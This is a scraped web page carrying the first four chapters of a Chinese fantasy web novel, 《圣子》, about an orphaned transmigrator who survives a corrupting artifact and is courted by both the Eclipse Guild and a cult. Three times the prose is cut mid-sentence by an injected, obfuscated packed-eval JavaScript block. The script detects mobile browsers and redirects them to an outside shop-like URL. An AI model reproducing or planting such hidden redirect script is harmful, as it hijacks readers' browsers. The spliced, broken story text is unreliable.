《圣子》 1. 第 1 章 初春的冷风吹拂着曦光城的下午。 作为伯亚帝国的帝都,这座规模宏大的城市里除了深夜会安静那么一会儿,其余时间都热闹非凡。一点冷风而已,抵挡不住人们为了生活奔波的脚步。 或许只有到了下城区被安置在角落里的车马行附近,行人才会骤减。 车马行的热闹分时间。除了那些有实力雇佣大批保镖的中大型商队外,一般的小商贩和要出城的行人都是早早就启程赶路,而不是拖到下午,这个走不了几个小时就要天黑的尴尬时刻。 夜晚是很可怕的。 因此,林格在租车的地方等了一个多小时,才勉强凑够车行老板愿意发车的最低条件。加上他一共六个人,两包量多到需要给占位费的货物,并且他们全都前往同一个方向不用来回绕路。也就是说,快点的话车夫可以当天往返。 他总觉得这才是老板在意的重点,因为当天往返就代表不用额外给车夫花钱在外住宿。 不管什么原因,老板愿意发车就是最好的。坐在无顶棚的马车斗里,林格松了口气。 运气不错,今天不用住旅馆了。 以后独自一人生活,要用钱的地方多着呢,能省则省。 出了城门,马车逐渐加速。 林格坐在车尾,靠在两大包货物上听同车乘客的闲聊,听着听着,就听见一个妇人把话题引到了自己身上。 “嘿!车尾沉默的小伙子,你看起来好像还没有成年呢,你的父母已经放心你独自出远门了吗?” 这话一出,所有人都把目光下意识投向了车尾那个有些瘦弱的沉默黑发少年。从上车开始,少年就一直是一副警惕的模样,不由得让别人对他有几分好奇。 林格警惕转头,把马车里的人都迅速看过一遍后,摇摇头面无表情:“不放心,但他们三天前已经去世了。” 原本热闹的马车上瞬间寂静无声,因路况一直颠簸“吱呀”着的车轮好像都因此无端丝滑了不少,戴着蓝头巾的妇人更是因为自己说错话肉眼可见的无措。 众人没想到的是,被戳伤心事的林格并不在意,反而看着蓝头巾妇人的眼睛认真道谢:“不过他们的担忧一定会在某一天,换一种方式重新降临在我的生活中,为我指引方向。谢谢你的祝愿。” “啊,不,不用。” 蓝头巾妇人尴尬地摆摆手,后知后觉从林格笃定的话语中察觉到了“同类”的气息。她似乎是觉得自己的回答太过敷衍,又快速做了个正式的祝福仪式——右手轻点眉心,再交叠双手手掌按在胸前正中,垂着眼虔诚祝福:“永生之神保佑你,你的一切都将如愿。” 她的丈夫和另一对夫妻见状默默做了同样的动作。 唯一没有动作的是坐在林格对面的青年,他左右看看,挠挠头小声对林格说了句祝福,不带前缀的那种。 这表示他没有信仰的神明。 林格把几人的表现收在眼底,面无表情的再次道谢。 顺利把天聊死后,林格继续沉默着望向远处发呆,只是这次他不再看着车尾,而是微微偏头看着自己的前方,全身依旧一副紧绷着的状态。 马车安静地行驶许久,直到进入树林中的道路才逐渐响起交谈声,车夫也重新哼起曲子。 一般来说,这种树林和山间是赶路的人最不愿意经过的地方,毕竟你不可能知道那些便于隐匿的地形里,到底有没有真的匪徒。然而走在这片树林,却不需要有那么多的担忧。 这可是帝都附近! 有哪伙不长眼的匪徒会选择在这里抢劫? 当然了,就算运气不好真遇上没脑子的来抢劫,至少也可以庆幸一下抢你的这伙匪徒一定会被抓到。 帝都的尊严不容挑衅。 马车快速行驶了一会儿,车夫忽然发出一声惊呼。 车斗里的人疑惑地转头看去,车夫放慢行驶速度不确定地问:“你们快看,前面是不是有人?” “好像是一辆车?” “真的有人,还有倒在地上的马。” “真可怜。是他的马出事了吗?”车夫探身拍拍自己前面的马屁股,重重叹了口气,侧头问车斗里的乘客:“各位,等会儿靠近了能不能允许我停下来问一问他的情况?” “我保证不会耽误很久,绝对会在天黑前把你们所有人送到地方。” 随着马车逐渐靠近,几人都听到了来自那个男人的哭喊声,一时间都心有不忍,纷纷同意车夫的请求。再说,只是问问或者稍微给予点帮助的话,确实花不了多少时间。 林格同样点头。 那个男人看起来确实很惨。 两匹拉车的强壮棕红色马匹倒在地上,马头的位置有大片的鲜血,车斗里盖着货物的油布也被扯开了大半,里面将近一半的东西都不翼而飞。 男人对车斗的乱象视而不见,只跪在血泊里抱着马头痛哭,两侧的脸颊上乃至脖子都沾上了不少的血迹。 看样子,似乎是遭遇了抢劫? 林格警觉地环顾四周的树林,探头观察地上的痕迹。只不过因为他坐的位置,还有身高的原因,视野被挡了八成看得并不清楚。 出门的这一趟提心吊胆,只要到了没人的偏僻处,他都得不由自主的担心一下,更何况是这种凶案现场?可他只是一个乘客,这个时候没有一点话语权。 车夫也不是没有警觉心。他在距离事故地点还有十多米的地方停下,收起水囊,摸了下腰间的匕首确定位置后,才扬声问道:“前面的兄弟,请问发生了什么,有什么需要帮忙的吗?” 远处的男人慢慢转头,看了他们好一会儿,确认安全后才踉跄着起身朝马车走来。边走还边诉说自己的遭遇,想对难得遇上的好心人证明自己的无害:“我在十字谷那里被一群恶徒抢劫了!” “我好不容易才拼死逃出来,受伤的马带着我一路跑到这里……我的同伴,同伴……” 男人声音低下去,捂着脸站定,话语从颠三倒四逐渐变成了呢喃。 几句话,一个令人悲伤与同情的故事跃然纸上。 林格不为所动,他的注意力现在全都在同车的乘客上。 或许是一路疾驰赶路,现在终于有了光明正大停下的休息时刻,所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352911|199630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在马车放缓还没停时,车上的人包括马车车夫都不约而同拿出水囊仰头喝水。 咕咚咕咚—— 从小口啜饮着解渴到不舍得放下水囊,几次拧上又快速打开,林格不仅能听到吞咽的声音,还能清楚的看到他们喉咙鼓动的模样。 路途不远,携带的水囊也不会太大,把水喝光确认再也倒不出一滴后,明显没有满足的众人不停地抿嘴,吞咽,眼睛不断在各自手中的水囊上巡视,试图侦查出谁的那里还有剩余。 安稳的马车上开始躁动。 林格连前方不断靠近的陌生男人都顾不上,一边向众人摊手表示自己根本没有携带水囊,一边不着痕迹的侧身,寻找能最快速翻下车的角度。 “水带少了……”带头做祝福仪式的蓝头巾妇人扯了下衣领,吞咽着唾沫抱怨:“明明是春季,怎么感觉比夏季还令人燥热呢。” “是啊,早知道应该多带些水的。好渴……” “好渴。” 独自出行的青年重复着,再次打开自己已经空了的水囊仰头倒水。水一滴也没有了,他有些烦躁的把水囊扔下,张望了一下后眼睛一亮,快速翻身下车朝着距离他们不到两米的男人跑去。 还有一个人比他更快。 青年跳下车时,马车车夫就已经到了陌生男人跟前,极快的伸手抹了一把对方的脸颊。手上沾满血后,他迫不及待的往嘴中送去,露出如同吃到人间珍馐的享受表情。 这是林格跳车逃跑前看到的最后一副画面。 他往王城的方向奔跑着,尽管心中对发生异常的地方有着强烈的好奇,始终没有扭头回望一眼。 跑了一会儿,林格逐渐体力不支。 他生活在普通平民家庭,但因为小时候身体不太好,长大后父母也从没让他做过什么苦活累活,现在跑了不到八百米,他的两条腿就如同灌铅一般。 林格也不勉强自己,回头看一眼没有人追上来,就改跑为走,慢慢调整着自己的呼吸。 倒霉,居然遇到了危险物。 早知道就不省住宿的钱了。 这下倒好,车钱是在出发前就已经给车行老板付过的,现在车夫凶多吉少,钱也不可能找租车行要回,铜币直接打了水漂。 漫无边际的想着一些不重要的杂事苦中作乐,林格的呼吸逐渐平复,不等完全恢复好就再次小跑起来,希望能顺利的尽早到达王城。 可惜他的腿还没有迈开,一阵马蹄声就从身后的方向传来。 一阵?林格敏感的发现了不对,凝神细听,确认声音不像是一只马奔跑时发出的声音后,心中一紧,顾不得思考就狂奔起来。 “前面的人停下!” “停下,不许再跑,不然就要开枪了!” 林格也不是什么作死小能手,深知自己的两条腿根本比不过四条腿和子弹的射程,听到喊话只好无奈停下。 死也要当个明白鬼。 他叹一口气看向身后,眯眼想努力看清来人的面容,可当先看清两个骑马人的穿着后,他不禁瞪大了双眼。 居然是日食公会! 2. 第 2 章 伯亚帝国境内有这样一句俚语流传:在这片大陆上,你可以不知道自己所在国家叫什么名字,可以忘记自己的家在哪里,但你一定不能不知道日食公会的门朝哪边开! 会有这句话,一是因为听起来像个什么民间小型团伙的日食公会,实际上是这片大陆上最知名的非官方组织之一。它无视了各势力之间的矛盾,在三大王国以及西部寒地境内的各个城市均有分布,且和官方有密切合作。 二是因为这个世界,并不普通。 没有魔法,没有超能力,可因为虚空外某些不知名的存在,全世界所有的非生物都有可能发生异变,然后“感染”周边生物的灵魂,令之变得疯狂,扭曲,畸变 ……直至死亡。 负责处理这些事件的,正是日食公会。这也是它为什么会全大陆闻名的根本原因。 未知让人恐惧,可如果这种恐惧一直持续了近千年,那么就会得到有效的制止。最起码林格从没有听说在伯亚帝国境内,有哪里会因为这种“未知”而动乱,造反起义的。 至于那些因此层出不穷的邪教,算在特色产物一类里。 知道了身边可能会随机降临的危险,如何应对的方法自然也有,且非常的朴实无华。 根据日食公会和帝国官方公开所说,变异非生物只有特定人群能够感知,普通人根本没有办法辨别。如果不小心遇到了一些不太寻常的事物或生物,普通人要做的是第一时间快速远离,有多远跑多远,而不是先冲上去凑热闹。 毕竟离的越近,被感染的几率与速度就越快。 刚才马车上那群人一系列不正常的怪异行为,可以说是非常标准的“被感染”导致,问题的源头也多半在那个陌生男人身上。 发生这样的惨剧,后续肯定是日食公会的专业人员接手。 来的人身份没有问题,林格惊讶的是,这个世界的科技还没有完全发展起来,没有电话和监控,在荒郊野岭里发生的事故,自己这个唯一幸存当事人还没有报案的情况下,为什么相关人员会来的这么迅速? 而且来的方向好像也不太对,难不成是路过,正好遇上? 思索之间,日食公会的两人已经骑马将他包围。 马背上,身穿相同黑色制服,双手戴着轻薄手套的一男一女,眼神锐利的在林格身上来回扫视。 林格第一时间举起双手,被枪瞄着也不害怕,反而双眼放光表情惊喜的大喊:“日食公会!太好了!” 他语无伦次:“你们是日食公会的人,对吗?我叫林格,我认识你们的徽章!” 两人右胸口处就挂着林格说的徽章——纯黑底色,上面绘有简单精致的金色鸟笼。 仿佛确定了什么,棕发男人把枪收回,表情稍微柔和了一些:“是的,我们是日食公会的守夜人。不用紧张,你已经安全了,现在平复一下情绪我们有些问题需要你配合。” 林格用力点头,“你们问,我知道的一定会说。” 他的恐惧已经因为两人的到来逐渐消失。 日食公会的两人翻身下马,黑色短发女人率先拿出一个巴掌大的笔记本和笔,面无表情的在一旁准备记录,没有要开口的打算。 气质温和的棕发男人上前先做了简单的自我介绍:“我是伊萨,这是我的同伴莉莉丝。” “前方一千多米处发生了一起因危险物造成的惨案,我们根据现场的脚印一路追到这里,并看到了你。所以当时你在场,对吗。” “危险物”就是官方对发生异变后的非生物的名称。 “是的。”林格点头,非常配合的主动说出事情经过,还在末尾强调:“我们一马车的人从城内开始一直是好好的,直到遇见那个男人才开始发生不幸,所以一定都是那个男人的缘故!” 伊萨问:“可以仔细描述一下马车上的人不对劲的反应吗,又是大概从什么时候开始的?你现在还有没有什么不舒服的地方?” “守夜人先生,当时真的是太可怕了。” 再怎么镇定林格也是个才刚满十六岁的孩子,不过之前他已经答应伊萨会说出知道的一切,所以只好强忍着害怕再次回忆,连自己的心路历程都没有漏掉,仔细描述后吐出一口气:“除了一路跑到这里有点累,我没有不舒服的地方了。” “你已经幸运的逃出来,不必再害怕了。”伊萨安慰了一句,没有继续追问反而转移话题:“我看你似乎还没有成年?你的亲人呢,怎么自己一个人乘坐马车?” “我十六岁,已经成年了。至于我的父母……他们在三天前去世了。” 林格眼神暗淡:“我父母都是裁缝,他们和王城的铺子有合作会寄售或者代工一些商品。现在他们去世,我去王城替他们和老板取消合约顺便结清钱款。” 莉莉丝记录的手停顿一下,伊萨说了句“抱歉”,顺着这个话题自然询问:“你年纪还小,有想过以后怎么办吗?” 林格却惊讶极了,小心看向看着伊萨的眼睛不由问他:“这个问题也是调查时必须要问的吗?” 他小声嘟囔:“你们和我想象中的有点不一样。” 在民间,日食公会和“邪恶”等词绝对不会沾边,但同时也和“温和、关怀”等无缘。 伊萨对此的反应,竟是笑了一下:“如果遇到其他人我不会这么问,但是你不一样。” 林格指着自己:“我?” 伊萨点头:“当然。你现在还能站在这里和我们说话,而不是像你同车的人一样躺在危险物携带者的旁边,不就是最大的不一样吗。” 林格愣住,逐渐张大了嘴巴:“对,对哦,我没事啊,我没被感染!我,我……” 他震惊到语言系统短暂错乱,磕磕巴巴说不出完整的句子。 “所以……”伊萨声音大了一些,把林格的注意力吸引到自己身上后,说:“如果你对未来没有什么很好的规划的话,可以考虑一下,来日食公会工作。” “我和莉莉丝以及其他同伴都真诚希望你的到来。” 莉莉丝认真点头,依旧没有说话。 “这里面并没有强迫的意思。不过我想你应该知道一个人近距离面对危险物却没有被感染的概率有多低,你是多么的不同,与日食公会有多么的契合。如果你真的对危险物,对日食公会感兴趣不妨来了解一下再做决定。” “对了,我们的薪资待遇与福利也非常好。” 伊萨微笑,目含期待。 对此,林格给出了最诚实的反应:“啊?” 严肃的审问现场突然变成了私人招聘会,这弯儿拐的,他除了茫然也只有茫然。 伊萨并不急着知道林格的答案,也不催促,更不再提起这件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352912|199630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事:“这些你慢慢考虑。你家住哪里?我们送你回去。” “……审问结束了?” “不是审问,只是对幸存者必要的询问而已,当然不会太久。” 伊萨纠正了林格的措辞,侧身拍拍身后的马脖子,“上来吧,我们共乘一匹。” 旁边的莉莉丝已经干脆利落的上马,并且调整好了方向。 林格没想到他们还要亲自把他送回家。 既然两位专业人士已经表示这次事件中,对他的审查到此结束,他也暂时把那些困扰都抛到脑后,快速上前一步报出自己的住址:“我住在瓦森镇。” “谢谢你们送我回去!” 在伊萨的帮助下跨上马背,林格还没有好好感受一下这两辈子头一回的新奇视角,马就在伊萨的一句“抓好”声中疾驰而去。 对骑马的人来说,马静立时与奔跑时带来的体验感可以说是天差地别。林格顶着风与颠簸好悬没有喊出一句“求你放我下来我要自己走回去”这种丢人的话。就这,他还顽强的注意到伊萨他们并没有走大路,而是完全绕过了之前的事发地,走一条他并不认识的小路前往。 不过十多分钟,瓦森镇到了。 作为这附近离帝都最近的一个小镇,这点儿路程,跑出这个时间已经是伊萨他们控制了一下骑速的结果,但对林格来说,下马时他没有腿软直接坐在地上,完全是因为他足够坚强。 再次向伊萨两人道谢并道别,林格转身咬牙,努力让自己的脚步正常一些往小镇走去。 镇口不远处的两人一直到看不见林格的身影,才牵引马绳掉头。 先疾跑一阵,再默契的降低马速改为慢跑,之前一直沉默的莉莉丝终于开口:“他说谎的方式非常蹩脚。你一直负责我们小队的对外沟通,应该不会看不出来吧。” 伊萨看了她一眼,叹了口气无奈摇头:“莉莉丝,你其实可以不用强行改变自己的说话方式,比如后面的那句……玩笑?应该是玩笑吧?我还是喜欢你以前那样。” 或许是战斗天赋爆表的等价交换?自己的这名队友的情商可以说是几乎没有,说出来的话更是直来直去,从不知道什么叫委婉。说实话,除了这些话会偶尔,好吧,是经常听得人血压直线飙升外,直白的说话方式交流起来还是很轻松的。 日食公会认识莉莉丝的人也都习惯了她的风格。 只不过莉莉丝有颗上进的心,闲暇之余很喜欢研究一些《说话的艺术》之类的书籍。结果,伊萨不多评价。 结束对同伴无声的腹诽,伊萨无所谓一笑,回她:“谎言而已,就当是一个刚失去父母的孩子的自我保护。别的不说,不管他是什么时候知道自己有异常抗性的,他确实有而且还不弱,不是吗?这正是我们公会需要的人才。” “至于其他,如果他没有犯过错,我们可以多一名成员,如果犯了,就近拿下也是个好的选择。” 放任不管,是永远不可能的。 莉莉丝点点头没说什么。其实也不用说什么,加入日食公会那么久,她早已经清楚公会对野生异常抗性者的处理方式,有那么一问只是发现林格说谎提醒一下队友而已,并没有任何其他的,以及不信任的意思。 看来她还要多看几本书学习。 挥动马鞭重新提速,两人向十字谷的旅者营地疾驰而去。 3. 第 3 章 林格沿着宽敞的砖石路往自己家走着,一路上,不少人都主动和他打了招呼。 他也不再是之前在马车上那样,一副开口就能噎死人不偿命的冷淡模样,而是卸下伪装和善地点点头,或简单“嗯”一声当做回应,只不过比以往少了笑容。 没有人询问理由,每个人都心知肚明。 林格也不在意那些人的目光。 身为这个小镇上最知名裁缝铺老板的孩子,他可以说是被镇上的人看着长大的。平时屁大点小事都能在镇上迅速传开,更别说他家发生了惊动镇上治安官的大事。 一路沉默着回家。 林格家的裁缝铺靠近小镇中央范围,二层的小楼,是林格父母八年前卖了原本的住房拿出所有积蓄买的。 从接零散缝补活计的小裁缝,到镇上有名的裁缝店老板,林格父母两人是瓦森镇公认的勤劳,和善的典范。有了好名声和好手艺,每天来往他家裁缝铺的人也就多了起来。 不过那都是三天前的事情。如今裁缝铺一楼的大门紧闭,上面还挂着用黑色布条做成的简单布花。 按照伯亚帝国的习俗,家中有人过世要在门口显眼位置挂上黑色布花,至少十天,以表示哀悼。 家里每天等待他回家的人已经永远不会在了。 林格垂下眼睛缓缓掏出钥匙,一边开门,一边看着门上的布花,思绪逐渐飘远变得奇怪。这个小镇上,挂布花的应该一个巴掌都能数过来吧,毕竟其他人都是打半个“蝴蝶结”。 当然了,“半个蝴蝶结”也只是他根据自己的前世记忆,在心里的自娱自乐,要是真的说出口,让那些永生之神的信徒们知道自己把祂的代表符号“∞”纂改取乐,怕只用眼神都能把他杀死。 毕竟是伯亚帝国唯一公开承认,有官方认证的神明,永生之神信徒的数量和质量都是帝国之最。 回到熟悉的家中,林格先把每个房间都查看了一遍,才彻底放松下来,靠坐在椅子上用双手捂住脸深吸了一口气。 还真是充满意外的一天。 其中最让他意想不到的,是遇到日食公会的人且被当场招揽。 简单到不可思议,以至于那点演技都被浪费,以后恐怕会成为他的黑历史。不过—— “幸运日,真是天助我也。” 打了个响指,用陌生的语言别扭的组合成了一句他曾经最熟悉的话。 十六年前,身为纯正地球人的林格在自己家的床上入睡后,一觉醒来却魂穿成了一个婴儿。 异世界的,被人抛弃在路边刚出生不久的婴儿。 万幸的是,在他饿死或被野兽叼走之前有一对年轻夫妻路过将他捡回家,并且留在身边抚养长大。还巧合的为他取了一个读音和上辈子一模一样的名字——林格。 这让他终于有了唯一的一点穿越真实感。 也是这点真实感,让他连自己的金手指在穿越中“丢了”的事情都可以平静接受。当然,很大原因是因为那个金手指本身就是个鸡肋。 谁让那是一个能在你用双手触摸桌子,脑海中就会随即浮现“桌子”两个字的金手指呢。 十岁的小林格,刚得到这个金手指时实在想不明白这到底是幸运降临,还是自己脑子有病。 好在这个金手指是会进化的。从一开始的只会浮现物品名称,到后来会逐渐出现物品的材质以及详细成分,金手指终于有了点用处,林格也因为这个确定了今后学业和工作的人生目标。 然而不幸来的那么快,在他十八岁生日当晚,他“光秃秃”的穿越了。 新的世界没有林格半点熟悉的模样。 硬要拼凑的话,也就他所在的地区整体有点类似于地球西方中世纪的风格,人也大都是浅肤色,有各种颜色的头发和眼睛。 刚穿越时以为这里只是个普通世界,没有魔法异能之类的超自然存在,直到随着年龄的增长,见识变广,他才知道新世界里竟然隐藏着一个巨坑。 这个世界的普通人确实没有超自然力量,日常生活中能见到的物品也没有蕴含什么特别的能量,但是,非生物却能被不知名力量侵染,扭曲畸变,成为一个威力巨大的感染源头,传染周边的一切生物。 唯一有办法彻底解决这些危险物的,就是日食公会。 令人奇怪的是,危险物在这个世界上蔓延了近千年,按理来说,为了减少恐慌尽可能的让更多的人遇到危险物后生存下来,官方或日食公会应该适当公布一些危险物的信息和应对方法,让普通人对危险物也有些了解,但是没有。 林格从镇上学校的老师,教堂的神父,以及曦光城内,都没有打听到更多危险物的详细信息。 所有已知的信息整理一下,总结起来就是官方给出的“危险物是被虚空不知名存在感染、遇到危险物不要好奇、普通人无法解决快点逃跑”这三条。 简而言之,平民面对危险物没有任何的应对能力。 林格不知道造成这一切的原因是什么,帝国官方又有什么考量,但这确实让他对神秘的日食公会产生了非常浓厚的兴趣。尤其是,在研究超自然力量这一点,这世界上应该不会有比日食公会更加了解的了。 夜幕降临,室内的能见度已经模糊不清,林格点亮家里的蜡烛后起身去关窗。 今天是个晴天,皎洁的月光照亮夜空,让天空中那道狭长而深邃的黑色痕迹在夜晚越发显眼。 这里的人都称这道痕迹为“裂痕”。 传说中,远古时期有一个邪恶之神在原本完好的天空中划破一道口子,企图从这道口子中降临洛斯德大陆,放牧人类。是永生之神在关键时刻击退了恶神,将祂杀死后,用祂的尸体化为材料,将这道裂口缝合,最后只留下一道狭长的,需要用时间愈合的裂痕。 这道裂痕,在伯亚帝国的各种有关永生之神的传说中,都占领着重要的地位。在林格这里也是。 这道仿佛是谁恶作剧,用最黑的墨痕在天空中划了一道,永远定格在那里无法擦除的裂痕,无时无刻不在提醒着林格,这里不是他认识的那个世界,不是他的故乡。 如果有可能,他想回去。 回到那个安全繁华的故乡,而不是这个封建落后,邪教肆意横行,每天都有人给自己洗脑,劝自己全身心侍奉邪教的异世。 哦,不对,从三天前开始,以后都不会再有人每天近距离给他洗脑了。 因为他的养父母已经意外去世。 林格的心情异常复杂。 如果不是班尼亚夫妇,他的穿越之旅很可能刚开始就结束了,更别说这之后他们一直疼爱着把他抚养到成年,他对他们的感恩之情从来没有少过。 因此当他偷偷观察到养父母两人竟然信奉着一个邪教时,虽然震惊,但已经对这个混乱的世界有初步认知,放低了许多心理预期的他,觉得这件事还没有到天塌了的地步。那是在他们捡到他之前就已经发生的事情了,他没有办法阻止,只好努力改变。 最起码那时刚穿越不久,上辈子的记忆也完整清晰,正值上知天文地理下知民生民俗的十八岁的他,希望可以凭自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352913|199630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的努力将两人解救出来。 实在不行,让两人改信奉帝国官方推崇的永生之神也行啊。 然而八岁那年,养父母第一次对他浅浅洗脑后,他的“劝人回头是岸”计划,就变成了与养父母斗智斗勇。 直接了当的反驳会让洗脑加倍,不反驳会被认为是没有听懂,也会加倍。他只能在附和的同时,通过不停回忆上辈子的点点滴滴不让那些内容有空隙钻入脑海。 这招非常成功,不仅让他在这十六年里没有忘掉有关上辈子的重要记忆,还能让他有充足的角度和话术反向输出。 穿越的林格很忙碌。忙着去小镇上的学校上学,尽全力了解外面的世界,也忙着应对家里洗脑的同时教养父母学习,让他们自己摆脱一些过往的无知。 成果不是没有,但养父母已经被拉入邪教太久,观念根深蒂固,不是少少的几年就可以轻易改变的。更别说他的年龄还小,说的话也不会被重视。 尽管如此,林格觉得前路算是比较光明。 因为他在八岁那年发现自己有了新的金手指——靠近危险物一定距离不会被影响。 有了在这个世界堪称无敌的技能,再加上他一直在悄悄收集关于日食公会的信息,所以他有信心能够在成年之后找机会加入到日食公会去。 别管他这个在养父母心中,已经从头到尾是个合格忠诚教徒的人,是怎么敢加入日食公会,养父母听到后又会是怎么样的震惊,他坚信他们为了他,一定会谨言慎行,从此疏远邪教。 林格从不怀疑养父母对他的爱。 然而他万万没想到,养父母在他成年当天意外去世了。 那天他们一大早就出了门,去巴罗村找他们老师隐退在那里的好友,一位裁缝大师,取给他的成年礼物。 养父母给他准备的礼物是真,托老师的好友制作也是真,唯一有问题的是,那位大师背地里其实和养父母信奉着同一个邪教,甚至极有可能比他们的等级要高一些,能够不时的组织集会。 自从观察到这点后,他一直用各种理由拖着养父母,但总有劝不住的时候,比如他的生日。 林格还记得三天前的中午。那时的他坐在裁缝铺一楼柜台后,一面心不在焉的翻书一面掐算着时间等待。 直到远处开始吵闹,他没有看到养父母的身影冒头,反而看到治安官被镇长领着一路朝着他家的方向走来,一直走到裁缝铺门口,还礼貌的敲了敲门板—— “咚咚。” 林格从回忆里惊醒,猛地扭头死盯着门。 “咚咚。” 不是错觉,门再次被敲响了。 林格很确定,响的是二楼的门,不是一楼。而且他没有听到任何撬锁的声音和上楼梯时,那年久的木质楼梯发出的“吱呀”声。 顾不得擦去额头的冷汗,林格用最快的速度扑向橱柜角落。那里立着一根结实的粗木棍。 “咚咚。” 第三次敲门声响起时,门被推开了。 蜡烛的火苗摇曳,映出门外那个全身被包裹在黑袍里的人影。 林格瞳孔紧缩,攥紧木棍的手松了一瞬,脸上闪过迟疑转而又重新握紧木棍,抬高声调问:“你,你要做什么?” 黑袍人抬手,指间垂下一个只有拇指大小的黄金天平吊坠。 林格不敢相信地瞪大眼睛,立在原地呆了两秒后扔掉木棍,单膝跪地低着头,无法压抑激动似得抖着嗓音道:“见过主祭大人!” 卧槽! 林格惊得家乡话都彪出来了。 4. 第 4 章 来人的身材高大,其余身形特征全都遮掩在宽大的黑袍下,只有衣服的袖子和遮到鞋面的下摆上,各有两道一指宽的血色条纹装饰。 带有血色条纹的黑袍或许可以作假,那个黄金天平吊坠却不会被轻易复刻,这两样东西相加,无一不在表明今夜无声现身的黑袍人的来历—— 至高神教。 黑袍人就是那个班尼亚夫妻所信仰的邪教里,地位仅次于大主教,一座城中只会有一个的,主祭。 黑袍主祭并不意外林格的反应,他仿佛回自己家般从容进屋,路过林格时,晃动的衣服下摆甚至擦过对方肩膀。 随意在干净的沙发上坐下,他准确喊出一个名字:“林格。” “对于你父母的事,教会非常遗憾。” “您知道我的名字?” 余光瞄到黑袍主祭微抬右手,满脸惊讶的林格顺势站起来,小心翼翼地问道:“您竟然也知道我父母遇害的事情吗?” 不解的事情太多了,他不敢问,只能顺着黑袍主祭的话小心应和,还怕自己话太多,一不小心就惹到了这位主祭大人的厌烦。 面对这普通人可能一辈子也见不到的,地位仅次于大主教的高层,想必没有一个教徒会不紧张,不激动。林格表现的也是这样。 “对于优秀的教徒,教会都会重视且给予关注,不是吗。”黑袍主祭声音淡淡。 林格心中一凛,连忙接话:“是的,是的……我们只是一群渴望被我主垂怜的流浪者。是大主教创建了至高神教,将我们这群流浪者聚集,让我们有了暂时的归处。” “大主教和各位主祭们,除了聆听我主的圣言外,最大的职责就是为我主挑选培养合格的流浪者,让他们有机会能够沐浴我主神恩,从流浪者变为我主侍仆。” 林格熟稔又郑重的把至高神教的教义背出,好让这位黑袍主祭知道自己对至高神教的忠诚,知道自己并没有任何质疑对方的意思。 说完,他又单膝跪地:“大人,我只是太激动了,请您原谅我的错误。” “不用紧张,起来。”黑袍主祭看了眼被仍在一旁的木棍:“你见到我的第一面后还有勇气举起木棍,并且质疑我的身份,很不错。” 林格低头:“大人……” 他想为自己辩解一下,只是事实就摆在两人眼前,他实在是找不到辩解的角度,也不敢轻易对黑袍主祭后面的“夸奖”解读。 黑袍主祭也不需要林格的回答,接着之前的话题道:“班尼亚夫妻入教已经快二十年,他们虽然没有得到我主垂怜,但他们的忠诚与贡献却不容质疑。得知我教损失两名优秀的教徒后,大主教本人,和我等主祭也非常遗憾。” “你已经知道,你父母的死因。” “警卫局的人说,我父母是被牧羊教会的人杀害的。” 林格闭了闭眼睛,语气悲痛:“他们说,牧羊教会前不久被日食公会和警卫局联手清缴,一小部分教徒趁乱逃了。那些逃亡的教徒已经失去理智,陷入疯狂随机杀人,献祭器官试图得到他们信仰的神明的回应,为他们复仇。” 显然,这个牧羊教会是十恶不赦的邪教。 “我父母在回家的路上,不幸被流窜到那里的邪教徒拖到树林里残忍杀害。警卫局的人检查了我父母的尸体和周围残留的献祭仪式,确认是牧羊教会的人干的。” 林格抬头看了一眼黑袍主祭,带着些希冀,问:“主祭大人,难道,里面还有什么隐秘的事情吗?” 黑袍主祭对他们这些普通教徒意外的和蔼,让林格胆子大了一些。他忐忑着主祭是否会怪罪他刚才直视了他。 黑袍主祭并不在意:“和我们的调查结果一致。我们找到牧羊教会逃窜的渣滓时,警卫局的人也赶到,后续我们就没有再插手。你知道的,如果非必要,我们不喜欢和官方的人对上。不过……” 他蛊惑般问:“林格,你想亲手为你的父母报仇吗?” “当然想。”林格毫不犹豫地回答。 “现在,就有一个机会摆在你面前。” “什么?” “你,加入日食公会。” 林格不敢相信地睁大眼睛,震惊重复:“我?加入日食公会?” “大人,从小我的父母就教给我关于我主的伟大理念,和我教为我们所做的一切努力,我也深深的信仰着我主,奉我主为唯一的神明。大人,我是一个再忠诚不过的教徒。” 林格再次单膝跪地,不停地为自己表着忠心,希望让眼前这位主祭不要试图让自己去送死。 “日食公会,不过是一群自私把圣物扣留下来,只给那些贵族和官员们使用,让他们能够继续压迫我们这些普通人的走狗而已。只有我主,才会为我们这些普通人着想。” 至高神教说的圣物,就是危险物。 在至高神教的洗脑包里,他们是致力于把危险物推广给广大普通平民使用的,至高神的代行。日食公会则是只把危险物收集起来交给上层社会使用的,权利的走狗。 